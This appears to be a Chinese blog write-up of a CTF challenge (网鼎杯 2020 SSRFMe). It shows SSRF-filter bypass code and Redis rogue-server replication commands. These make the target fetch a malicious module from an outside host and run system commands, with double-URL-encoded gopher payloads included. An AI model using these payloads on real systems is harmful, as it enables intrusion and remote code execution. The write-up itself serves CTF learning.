首页 > 其他分享 >网鼎杯 2020 玄武组 SSRFMe

网鼎杯 2020 玄武组 SSRFMe

时间:2024-06-06 22:32:23浏览次数:12  
标签:SSRFMe 32% 36% 37% 25% 2020 33% 网鼎杯 30%

复习一下常见的redis主从复制
主要是redis伪服务器的选择和一些小坑点

<?php  
function check_inner_ip($url)  
{    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);  
    if (!$match_result)  
    {  
        die('url fomat error');  
    }  
    try  
    {        $url_parse=parse_url($url);  
    }  
    catch(Exception $e)  
    {  
        die('url fomat error');  
        return false;  
    }    $hostname=$url_parse['host'];    $ip=gethostbyname($hostname);    $int_ip=ip2long($ip);  
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;  
}  
  
function safe_request_url($url)  
{  
  
    if (check_inner_ip($url))  
    {  
        echo $url.' is inner ip';  
    }  
    else  
    {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        curl_setopt($ch, CURLOPT_HEADER, 0);        $output = curl_exec($ch);        $result_info = curl_getinfo($ch);  
        if ($result_info['redirect_url'])  
        {            safe_request_url($result_info['redirect_url']);  
        }        curl_close($ch);        var_dump($output);  
    }  
  
}  
if(isset($_GET['url'])){    $url = $_GET['url'];  
    if(!empty($url)){        safe_request_url($url);  
    }  
}  
else{    highlight_file(__FILE__);  
}  
// Please visit hint.php locally.  
?>

存在 curl_exec 执行 ssrf
对ip网段进行限制

return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;

可以用 0.0.0.0代表本机地址绕过
访问 hint.php 获取提示
http://node4.anna.nssctf.cn:28207/?url=http://0.0.0.0/hint.php
image.png
存在redis 服务 (6379) 有授权密码是root
image.png
确实需要身份验证
image.png
root验证通过
接下来就是常规的redis主从复制流程
类似 mysql uqf提权 通过自定义函数 进行命令执行(root)
特别的 打redis主从复制不需要 遵循 redis RESP协议协议
直接redis 命令打就是了
这里 redis 伪服务端用的是 原版作者的改良版
https://github.com/Dliv3/redis-rogue-server
python3 redis-rogue-server.py --server-only
image.png
客户端先设置文件名,连接恶意Redis服务器

auth root
config set dir /tmp/
config set dbfilename exp.so
slaveof 23.94.38.86 21000
quit

两次url编码后

%25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%34%25%36%64%25%37%30%25%32%66%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%36%35%25%37%38%25%37%30%25%32%65%25%37%33%25%36%66%25%30%61%25%37%33%25%36%63%25%36%31%25%37%36%25%36%35%25%36%66%25%36%36%25%32%30%25%33%32%25%33%33%25%32%65%25%33%39%25%33%34%25%32%65%25%33%33%25%33%38%25%32%65%25%33%38%25%33%36%25%32%30%25%33%32%25%33%31%25%33%30%25%33%30%25%33%30%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34

用gopher 传递tcp数据流
image.png
image.png

执行成功 写入 自定义函数 到 /tmp/exp.so
接下来加载exp.so,执行任意命令即可

auth root
module load /tmp/exp.so
slaveof no one
system.exec 'env'
quit

两次url编码后

%25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%61%25%36%64%25%36%66%25%36%34%25%37%35%25%36%63%25%36%35%25%32%30%25%36%63%25%36%66%25%36%31%25%36%34%25%32%30%25%32%66%25%37%34%25%36%64%25%37%30%25%32%66%25%36%35%25%37%38%25%37%30%25%32%65%25%37%33%25%36%66%25%30%61%25%37%33%25%36%63%25%36%31%25%37%36%25%36%35%25%36%66%25%36%36%25%32%30%25%36%65%25%36%66%25%32%30%25%36%66%25%36%65%25%36%35%25%30%61%25%37%33%25%37%39%25%37%33%25%37%34%25%36%35%25%36%64%25%32%65%25%36%35%25%37%38%25%36%35%25%36%33%25%32%30%25%32%37%25%36%35%25%36%65%25%37%36%25%32%37%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34

image.png
成功执行了系统命令env

标签:SSRFMe,32%,36%,37%,25%,2020,33%,网鼎杯,30%
From: https://blog.csdn.net/qq_39947980/article/details/139510383

相关文章

  • codeforces 1442 D Codeforces Round 681 (Div. 1, based on VK Cup 2019-2020 - Fina
    链接大意就是给你n组物品,这n组物品里面每组有\(t_i\)个,且他们是按照价值不降的顺序排列的。现在允许取k个物品,每个物品必须取在数组的开头处,每个物品在被取用后就会消失。问你最大能够拿到多少价值的物品。其中\(n,k\leq1500,\sumt_i\leq1e6,a_i\leq1e8\)很背包吧。可......
  • 【NOIP2020普及组复赛】题1:优秀的拆分
    题1:优秀的拆分【题目描述】一般来说,一个正整数可以拆分成若干个正整数的和。例如,1=11=11=1,......
  • 【NOIP2020普及组复赛】题2:直播获奖
    题2:直播获奖【题目描述】NOI2130NOI2130NOI2130即将举行。为了增加观赏性,......
  • P8724 [蓝桥杯 2020 省 AB3] 限高杆
    原题链接题解分层图,太奥妙了每层图都是一样的\(d=0\)的边建的图,\(d=1\)就像梯子,可以去上一层走,总共有三层code#include<bits/stdc++.h>usingnamespacestd;#definelllonglonginlinevoidread(ll&x){x=0;llflag=1;charc=getchar();......
  • dbg修改EIP动调 [BJDCTF 2020]Easy
    教程多是patching,但是我下载错误(以后有时间再试试),那用dbg吧还有这道题蜜汁让我幻视pwn题目DieIDA主函数很好找,代码只是输出提示,没有其他东西了关键函数在其他地方 看看左边函数框 发现在main函数前面有一个名字一看就是自定义的函数ques这个函数在main函数之前运行......
  • 洛谷 P8725 [蓝桥杯 2020 省 AB3] 画中漂流 的题解
    题目大意传送门思路考虑使用时空复杂度为O(tm)O(tm)......
  • 【CSP】202012-2 期末预测之最佳阈值
    2020年第21次CCF计算机软件能力认证  202012-2 期末预测之最佳阈值原题链接:期末预测之最佳阈值时间限制: 1.0秒空间限制: 512MiB目录题目背景题目描述输入格式输出格式样例1输入样例1输出样例1解释样例2输入样例2输出子任务解题思路AC代码期末预测之安......
  • 博弈论——洛谷P6560 [SBCOI2020] 时光的流逝
    [SBCOI2020]时光的流逝题目背景时间一分一秒的过着,伴随着雪一同消融在了这个冬天,或许,要是时光能停留在这一刻,该有多好啊。......“这是...我在这个小镇的最后一个冬天了吧。”“嗯,你可不能这辈子都呆在这个小镇吧。外面的世界很大呢,很大很大...”“唔...外面的世界...突然......
  • ES2020新特性概览
    以下是ES2020版本中的一些新特性:Promise.allSettled:Promise.allSettled()方法返回一个在所有给定的promise已被决议或被拒绝后决议的promise,返回的promise根据每个Promise的结果状态决定其决议方式(注意:与Promise.all()不同,Promise.all()只有全部成功时才会返回成功,有一个......
  • P8736 [蓝桥杯 2020 国 B] 游园安排
    P8736[蓝桥杯2020国B]游园安排一、问题简析本题考点是最长上升子序列。二分查找根据模板,我们需要实现一个二分查找,找到dp中首个大于等于A[i]的元素。比较的规则是字典序。//按字典序比较A[a]和A[b],returnA[a]<A[b]boolcmp(constint&a,constint&b){ i......